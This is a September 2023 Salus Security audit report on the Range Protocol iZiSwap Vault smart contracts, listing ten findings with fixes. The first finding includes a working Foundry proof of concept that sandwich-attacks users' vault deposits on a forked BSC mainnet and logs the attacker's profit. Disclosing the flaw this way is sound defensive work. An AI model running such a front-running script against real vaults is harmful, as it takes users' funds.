SALUS SECURITY

SEP 2023

CODE SECURITY ASSESSMENT

RANGE PROTOCOL

Overview

Project Summary

- Name: Range Protocol - iZiSwap Vault
- Version: commit d44897c
- Platform: EVM-compatible Chains
- Language: Solidity
- Repository:
    - https://github.com/Range-Protocol/contracts
- Audit Range: See Appendix - 1

Project Dashboard

Application Summary

Name	Range Protocol - iZiSwap Vault
Version	v3
Type	Solidity
Date	Sep 27 2023
Logs	Sep 18 2023; Sep 27 2023; Sep 27 2023

Vulnerability Summary

Total High-Severity issues	1
Total Medium-Severity issues	2
Total Low-Severity issues	4
Total informational issues	3
Total	10

Contact

E-mail: support@salusec.io

Risk Level Description

High Risk	The issue puts a large number of users' sensitive information at risk, or is reasonably likely to lead to catastrophic impact for clients' reputations or serious financial implications for clients and users.
Medium Risk	The issue puts a subset of users' sensitive information at risk, would be detrimental to the client's reputation if exploited, or is reasonably likely to lead to a moderate financial impact.
Low Risk	The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low impact in view of the client's business circumstances.
Informational	The issue does not pose an immediate risk, but is relevant to security best practices or defense in depth.

Content

Introduction

1.1 About SALUS

At Salus Security, we are in the business of trust.

We are dedicated to tackling the toughest security challenges facing the industry today. By building foundational trust in technology and infrastructure through security, we help clients to lead their respective industries and unlock their full Web3 potential.

Our team of security experts employ industry-leading proof-of-concept (PoC) methodology for demonstrating smart contract vulnerabilities, coupled with advanced red teaming capabilities and a stereoscopic vulnerability detection service, to deliver comprehensive security assessments that allow clients to stay ahead of the curve.

In addition to smart contract audits and red teaming, our Rapid Detection Service for smart contracts aims to make security accessible to all. This high calibre, yet cost-efficient, security tool has been designed to support a wide range of business needs including investment due diligence, security and code quality assessments, and code optimisation.

We are reachable on Telegram (https://t.me/salusec), Twitter (https://twitter.com/salus_sec), or Email (support@salusec.io).

1.2 Audit Breakdown

The objective was to evaluate the repository for security-related issues, code quality, and adherence to specifications and best practices. Possible issues we looked for included (but are not limited to):

- Risky external calls
- Integer overflow/underflow
- Transaction-ordering dependence
- Timestamp dependence
- Access control
- Call stack limits and mishandled exceptions
- Number rounding errors
- Centralization of power
- Logical oversights and denial of service
- Business logic specification
- Code clones, functionality duplication

1.3 Disclaimer

Note that this security audit is not designed to replace functional tests required before any software release and does not give any warranties on finding all possible security issues with the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues.

Findings

2.1 Summary of Findings

ID	Title	Severity	Category	Status
1	Lack of slippage protections for users	High	Front-running	Resolved
2	Incorrect indexing logic in getVaultAddresses()	Medium	Business Logic	Resolved
3	Lack of validation may lead to the creation of vaults that are unusable	Medium	Data Validation	Resolved
4	Mismatch between the code implementation and the specification	Low	Code Consistency	Resolved
5	Renouncing the manager role can result in fees being locked in the vault	Low	Access Control	Acknowledged
6	Lack of existence check for the contract before making a low-level call	Low	Data Validation	Resolved
7	Centralization risk	Low	Centralization	Acknowledged
8	Could use the 2-step ownership transfer process	Informational	Access Control	Acknowledged
9	Missing error message	Informational	Logging	Resolved
10	About comments	Informational	Code Quality	Resolved

2.2 Notable Findings

Significant flaws that impact system confidentiality, integrity, or availability are listed below.

1. Lack of slippage protections for users

Severity: High	Category: Front-running
Target: - contracts/RangeProtocolVault.sol	

Description

Users use the getMintAmounts() function from the RangeProtocolVault contract to determine the mintAmount when they want to add liquidity with a maximum of amountXMax of tokenX and a maximum of amountYMax of tokenY. Once they have obtained the mintAmount, users can use the mint() function to provide liquidity to the vault.

It should be noted that there may be a delay between when one gets the mintAmount from getMintAmounts() and when one sends the mint() transaction, and there is also a delay when the mint() transaction is sent and when it gets mined to the blockchain. Consequently, the deposit amount for tokenX/tokenY in mint() could potentially exceed the user-specified amountXMax/amountYMax in getMintAmounts().

Due to the lack of slippage protection in mint() function, attackers can gain profit by sandwich-attacking the mint() transaction. Here is an example attack scenario:

- The attacker monitors the mempool and finds a RangeProtocolVault.mint() transaction with a large mintAmount for an underlying USDT/WBNB iZiSwap pool.
- The attacker front-runs this mint() transaction and increases the WBNB price by swapping USDT to WBNB from the pool.
- The mint() transaction gets executed at a higher WBNB price than the user initially expected.
- The attacker swaps the WBNB back to USDT.
- Due to the increased liquidity in the pool, the attacker will receive more USDT than he or she originally had.

Proof of Concept

```
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import {Test, console2} from "forge-std/Test.sol";
import {RangeProtocolFactory} from "../contracts/RangeProtocolFactory.sol";
import {RangeProtocolVault} from "../contracts/RangeProtocolVault.sol";
import {ERC20} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {IiZiSwapFactory} from
    "iZiSwap-core/contracts/interfaces/IiZiSwapFactory.sol";
import {iZiSwapPool} from "iZiSwap-core/contracts/iZiSwapPool.sol";
import {Swap} from "iZiSwap-periphery/contracts/Swap.sol";
```

```
contract SandwichAttackPoC is Test {
    // iziSwap factory in BSC
    IiZiSwapFactory iZiSwapFactory =
        IiZiSwapFactory(0x93BB94a0d5269cb437A1F71FF3a77AB753844422);

    ERC20 WBNB = ERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    ERC20 USDT = ERC20(0x55d398326f99059fF775485246999027B3197955);
    uint24 protocolFee = 2_000;

    // swap helper contract from iZiSwap-periphery
    Swap swap = Swap(payable(0xedf2021f41AbCfE2dEA4427E1B61f4d0AA5aA4b8));

    // iZiSwap USDT/WBNB pool
    iZiSwapPool pool;

    RangeProtocolFactory rangeProtocolFactory;
    RangeProtocolVault rangeProtocolVault;

    address factoryOwner = makeAddr("factoryOwner");
    address vaultManager = makeAddr("vaultManager");
    address user = makeAddr("user");
    address attacker = makeAddr("attacker");

    int24 leftPoint = -55000;
    int24 rightPoint = -53480;

    function setUp() public {
        // fork test against BSC MAINNET at height 31809432
        vm.createSelectFork("https://binance.llamarpc.com", 31809432);

        // retrieve USDT/WBNB iZiSwap Pool, should be
0x1CE3082de766ebFe1b4dB39f616426631BbB29aC
        pool = iZiSwapPool(
            iZiSwapFactory.pool(address(USDT), address(WBNB), protocolFee)
        );

        {
            // deploy Range factory & vault
            vm.prank(factoryOwner);
            rangeProtocolFactory =
                new RangeProtocolFactory(address(iZiSwapFactory));

            RangeProtocolVault vaultImpl = new RangeProtocolVault();

            bytes memory initData =
                abi.encode(vaultManager, "WBNB/USDT vault", "V-WBNB/USDT");

            vm.prank(factoryOwner);
            rangeProtocolFactory.createVault(
                address(USDT),
                address(WBNB),
                protocolFee,
                address(vaultImpl),
                initData
            );
            address[] memory vaultList =
                rangeProtocolFactory.getVaultAddresses(0, 0);
            rangeProtocolVault = RangeProtocolVault(vaultList[0]);
        }
        {
            // start vault
            vm.prank(vaultManager);
            rangeProtocolVault.updatePoints(leftPoint, rightPoint);
        }
```

```
        {
            // provide user tokens
            deal(address(USDT), user, type(uint128).max);
            deal(address(WBNB), user, type(uint128).max);
        }
        {
            // provide attacker 10_000 USDT
            deal(address(USDT), attacker, 10_000 ether);
        }
    }

    function test_attack() public {
        uint256 balanceBefore = USDT.balanceOf(attacker);
        console2.log(
            "initial USDT amount of attacker: ",
            balanceBefore / 10 ** USDT.decimals()
        );

        {
            // attacker front-running user's mint() tx
            // and increase the price of WBNB with regard to USDT
            // move the price to the `leftPoint` boundary of the vault
            Swap.SwapParams memory param = Swap.SwapParams({
                tokenX: address(USDT),
                tokenY: address(WBNB),
                fee: protocolFee,
                boundaryPt: leftPoint,
                recipient: attacker,
                amount: uint128(USDT.balanceOf(attacker)),
                maxPayed: 0,
                minAcquired: 0,
                deadline: block.timestamp + 1
            });
            vm.startPrank(attacker);
            USDT.approve(address(swap), type(uint256).max);
            swap.swapX2Y(param);
            vm.stopPrank();
        }

        {
            // user add liquidity to the vault
            uint256 mintAmount = 1e18;
            vm.startPrank(user);
            ERC20(USDT).approve(address(rangeProtocolVault), type(uint256).max);
            ERC20(WBNB).approve(address(rangeProtocolVault), type(uint256).max);
            (uint256 amountX, uint256 amountY) =
                rangeProtocolVault.mint(mintAmount);
            console2.log(
                "amount of USDT user deposit: ", amountX / 10 ** USDT.decimals()
            );
            console2.log(
                "amount of WBNB user deposit: ", amountY / 10 ** WBNB.decimals()
            );
            vm.stopPrank();
        }

        {
            // attacker swap all WBNB back to USDT
            Swap.SwapParams memory param = Swap.SwapParams({
                tokenX: address(USDT),
                tokenY: address(WBNB),
                fee: protocolFee,
                boundaryPt: 800001,
                recipient: attacker,
                amount: uint128(WBNB.balanceOf(attacker)),
```

```
                maxPayed: 0,
                minAcquired: 0,
                deadline: block.timestamp + 1
            });
            vm.startPrank(attacker);
            WBNB.approve(address(swap), type(uint256).max);
            swap.swapY2X(param);
            vm.stopPrank();
        }

        uint256 balanceAfter = USDT.balanceOf(attacker);
        console2.log(
            "final USDT amount of attacker: ",
            balanceAfter / 10 ** USDT.decimals()
        );
        console2.log(
            "The USDT amount gained from sandwich attack: ",
            (balanceAfter - balanceBefore) / 10 ** USDT.decimals()
        );
    }
}
```

The above foundry test forks the state of BSC mainnet at height 31809432, and shows that an attacker can profit from sandwich attacking a RangeProtocolVault.mint() transaction that targets the USDT/WBNB iZiSwap pool.

The test result is as following:

```
Logs:
  initial USDT amount of attacker:  10000
  amount of USDT user deposit:  22877
  amount of WBNB user deposit:  0
  final USDT amount of attacker:  10221
  The USDT amount gained from sandwich attack:  221
```

If we comment-out the sandwich attack, the test result is:

```
Logs:
  amount of USDT user deposit:  2738
  amount of WBNB user deposit:  88
```

As the WBNB price is increased before the mint() function, the user needs to deposit more USDT (2738 -> 22877) into the pool for the same amount of liquidity, which is then used by the attacker as exit liquidity. As a result, the attacker gained 221 USDT from this sandwich attack.

Recommendation

We recommend that the team implements slippage protection in the mint() function. For instance, users should be able to define the maximum amount of tokenX and tokenY they are willing to deposit in the mint() function. If the required deposit amount exceeds this limit, the mint() transaction should revert.

Similarly, slippage protection should also be included in the burn() function of the RangeProtocolVault contract. Users should be able to specify the minimum amount of tokenX and tokenY they desire to receive when removing liquidity. If these requirements are not met, the burn() transaction should revert.

Status

This issue has been resolved by the team. The team has added slippage control to mint() in commit b4354c6 and to burn() in commit 8f02372.

2. Incorrect indexing logic in getVaultAddresses()

Severity: Medium	Category: Business Logic
Target: - contracts/RangeProtocolFactory.sol	

Description

contracts/RangeProtocolFactory.sol:L85-L93

```
function getVaultAddresses(
    uint256 startIdx,
    uint256 endIdx
) external view returns (address[] memory vaultList) {
    vaultList = new address[](endIdx - startIdx + 1);
    for (uint256 i = startIdx; i <= endIdx; i++) {
        vaultList[i] = _vaultsList[i];
    }
}
```

The indexing logic in the highlighted line is incorrect. The index for vaultList should start from 0 when assigning addresses to it. However, it currently starts from startIdx.

If startIdx is greater than 0, an index-out-of-bounds error would occur when the loop reaches i == endIdx - startIdx + 1. This error causes the function to revert. Consequently, the front-end would fail to retrieve the vault list using getVaultAddress() when a non-zero startIdx is provided as input.

Recommendation

Consider changing the highlighted line to

```
        vaultList[i - startIdx] = _vaultsList[i];
```

Status

The team has resolved this issue with commit 8f02372.

3. Lack of validation may lead to the creation of vaults that are unusable

Severity: Medium	Category: Data Validation
Target: - contracts/libraries/VaultLib.sol	

Description

The iZiSwapPool.mint() function has the following require statement:

```
require(int256(rightPt) - int256(leftPt) < RIGHT_MOST_PT, "TL");
```

However, the Range Protocol's VaultLib._validatePoints() function does not have a corresponding check. This means that a Range Protocol vault can be created with (rightPoint - leftPoint >= RIGHT_MOST_PT). However, when users send mint() transactions, the transactions will fail because of the check in the iZiSwapPool contract. This unexpected failure could surprise users and potentially harm the protocol's reputation.

Recommendation

We recommend you to add a corresponding check in VaultLib._validatePoints() to prevent the creation of misconfigured vaults.

Status

The team has resolved this issue with commit 8f02372.

4. Mismatch between the code implementation and the specification

Severity: Low	Category: Code Consistency
Target: - contracts/RangeProtocolVault.sol - contracts/libraries/VaultLib.sol	

Description

The NatSpec comments for RangeProtocolVault.burn() and VaultLib.burn() state:

```
    // @return amountX the amount of tokenX received by the user.
    // @return amountY the amount of tokenY received by the user.
```

However, the burn() function returns the retrieved amount of tokenX and tokenY before deducting the fee. To align the code with the comment, it is recommended to modify the burn() function to return amountXAfterFee and amountYAfterFee, as they represent the actual amounts received by the user.

Recommendation

Consider updating the code implementation to match the provided NatSpec description.

Status

The team has resolved this issue with commit 8f02372.

5. Renouncing the manager role can result in fees being locked in the vault

Severity: Low	Category: Access Control
Target: - contracts/RangeProtocolVault.sol - contracts/access/OwnableUpgradeable.sol	

Description

The vault manager can use the renounceOwnership() function to renounce its manager role. Renouncing the manager role will result in the vault being without a manager, redering all functions modified by onlyManager() inaccessible.

One such manager-only function collectManager(), which is responsible for transferring the collected fees. Therefore, if the manager role is renounced while there are fees in the vault, those fees will be permanently locked in the vault.

Recommendation

The managers should be informed about this potential issue associated with renounceOwnership().

Status

This issue has been acknowledged by the team. The team stated that “Managers will be notified of this in the on-boarding process that they will need to draw any undrawn fee before renouncing ownership of the vault.”

6. Lack of existence check for the contract before making a low-level call

Severity: Low	Category: Data Validation
Target: - contracts/RangeProtocolFactory.sol	

Description

contracts/RangeProtocolFactory.sol:L130-L135

```
function _upgradeVault(address _vault, address _impl) internal {
    (bool success, ) = _vault.call(abi.encodeWithSelector(UPGRADE_SELECTOR, _impl));

    if (!success) revert FactoryErrors.VaultUpgradeFailed();
    emit VaultImplUpgraded(_vault, _impl);
}
```

The _upgradeVault() function uses a low-level call to invoke the upgradeTo(address) function in the _vault contract. The boolean value returned from this call is used to determine the success of the upgradeTo operation.

However, it is important to note that a low-level call to a non-existing contract will always appear successful. If the _upgradeVault() function is called with an EOA address as the input for _vault, the function will succeed and emit a VaultImplUpgraded() event, even though no actual vault is being upgraded. For more information, please refer to the warning in the “Members of Address Types” section of the Solidity documentation.

Therefore, if the factory owner mistakenly provides an incorrect _vault address that happens to be an EOA address, the _upgradeVault() function will execute successfully. The factory owner may mistakenly believe that the vault has been upgraded when, in reality, it has not.

Recommendation

It is recommended to incorporate a contract existence check for _vault before making the low-level call. One option is to use the Address.isContract() function from the OpenZeppelin library.

Status

The team has resolved this issue by conducting off-chain post-upgrade checks to verify that the upgrade has occurred for a specific vault.

7. Centralization risk

Severity: Low	Category: Centralization
Target: - contracts/RangeProtocolFactory.sol	

Description

The vaults in Range Protocol can be upgraded. The owner of the RangeProtocolFactory contract can upgrade the implementation of deployed vaults by using the upgradeVault() or upgradeVaults() function in the RangeProtocolFactory contract.

If the factory owner is a plain EOA account, this can be worrisome and may pose a risk to the users. Should the factory owner's private key be compromised, an attacker can upgrade a vault's implementation to a malicious contract and steal funds from it.

Recommendation

We recommend transferring the factory owner to a multi-sig account with timelock governors for enhanced security.

Status

This issue has been acknowledged by the team. The team stated that "The owner of the factory will be a Timelock contract and the owner of Timelock will be a multisig wallet having quorum of ⅗."

2.3 Informational Findings

8. Could use the 2-step ownership transfer process

Severity: Informational	Category: Access Control
Target: - contracts/access/OwnableUpgradeable.sol	

Description

The current ownership transfer process involves the current owner calling transferOwnership(), which writes the new owner's address into the owner's state variable. However, if the nominated EOA account is not a valid account, it is entirely possible the owner may accidentally transfer ownership to an uncontrolled account, breaking all owner-only functions.

It’s recommended to adopt a 2-step process for ownership transfer. In this approach, the owner can designate an address as the owner candidate, but the actual transfer of ownership occurs only when the candidate explicitly accepts the ownership.

Recommendation

Consider using the 2-step process for transferring ownership, e.g. using the Ownable2Step contract from the OpenZeppelin library.

Status

This issue has been acknowledged by the team.

9. Missing error message

Severity: Informational	Category: Logging
Target: - contracts/RangeProtocolFactory.sol	

Description

RangeProtocolFactory._createVault() reverts without an error message when tokenX == tokenY.

It's good practice to include a descriptive message in the revert scenario. This helps others understand the reason for the revert more quickly and clearly.

Recommendation

It’s recommended to include a proper error message in this revert scenario.

Status

The team has resolved this issue with commit 8f02372.

10. About comments

Severity: Informational	Category: Code Quality
Target: - All	

Description

1. When writing comments in NatSpec Format, you should use `///` for single or multi-line comments, or `/**` and ending with `*/`. However, `//` is used for NatSpec comment in various parts of the codebase, such as the RangeProtocolVault contract.

2. Current version of the codebase is built solely on iZiSwap. However, uniswap is still mentioned in some comments, such as here, here and here.

3. The `@return` parts of the NatSpec comment in RangeProtocolVault.mint() and VaultLib.mint() do not match the actual return variable (amountX and amountY).

Recommendation

Consider updating the comments for improved clarity.

Status

The team has resolved this issue with commit 8f02372.

Appendix

Appendix 1 - Files in Scope

This audit covered the following files in commit d44897c:

File	SHA-1 hash
contracts/RangeProtocolFactory.sol	eaa4bae03d0462e2c821a8c0863dbd74e431ee9e
contracts/RangeProtocolVault.sol	d66b0429495d6e74b571155773d31b2e43c335ac
contracts/RangeProtocolVaultStorage.sol	97cccf6d4005e8b402ef2b7043bd5762a8d3c9d2
contracts/access/OwnableUpgradeable.sol	dd69e028d6922e77679e6f11a6a19ca13754623d
contracts/errors/FactoryErrors.sol	86e331f219af219b21d58cff7959aa33732f6026
contracts/errors/VaultErrors.sol	2696d72e5defb0bfd4de56de45efb2c86f407042
contracts/iZiSwap/interfaces/IiZiSwapCallback.sol	3a4e6aa6f6b00caa14c2b354c6f6dff35097c838
contracts/iZiSwap/interfaces/IiZiSwapFactory.sol	ed4efd4e4621a87857493a0bdb657dd8a718705d
contracts/iZiSwap/interfaces/IiZiSwapPool.sol	cc19fd8cfa76fb2776f1dfef7492dd8d84463f1d
contracts/iZiSwap/libraries/LogPowMath.sol	1b196fb36bddb7ea841e46e0c5455a44fc2082b6
contracts/iZiSwap/libraries/MintMath.sol	5e9e2b185cf9c09ba48150f891625318ae1bd4f2
contracts/iZiSwap/libraries/MulDivMath.sol	e4aa3e4af92e588c4d4ea7825aa9fd3e0ab7a486
contracts/iZiSwap/libraries/TwoPower.sol	d89163af6117e5142643e60967ad370f373abc3a
contracts/interfaces/IRangeProtocolFactory.sol	5a7e7afe657a19d7454b135ab745c755dac3ebc9
contracts/interfaces/IRangeProtocolVault.sol	d398b90d72eed95aa5d4c787e6021fd817a76032
contracts/libraries/DataTypes.sol	bfcddf69f52fde3ce7d99bf0e3d19990604eed2a
contracts/libraries/VaultLib.sol	ed7b1d9c4cc8500155d0e560d734e4fb53a7732b